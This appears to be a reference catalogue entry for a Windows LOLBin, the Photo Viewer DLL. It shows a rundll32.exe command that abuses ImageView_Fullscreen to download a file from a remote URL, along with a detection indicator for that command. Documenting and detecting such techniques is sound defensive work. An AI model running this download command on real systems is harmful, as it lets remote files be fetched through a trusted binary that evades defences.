windows enabled community medium v1.0.0

photoviewer

Windows Photo Viewer Located at: C:\Program Files\Windows Photo Viewer\PhotoViewer.dll; C:\Program Files (x86)\Windows Photo Viewer\PhotoViewer.dll.

📋 Live Preview 
photoviewer
photoviewer

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: network_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL. (Download file from remote location.)

rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}

Detection

TypeRule / Indicator
ioc Execution of rundll32.exe with 'ImageView_Fullscreen' and a remote URL (containing '://') as an argument

Documentation

photoviewer

photoviewer is a Windows LOLBin. Windows Photo Viewer Located at: C:\Program Files\Windows Photo Viewer\PhotoViewer.dll; C:\Program Files (x86)\Windows Photo Viewer\PhotoViewer.dll.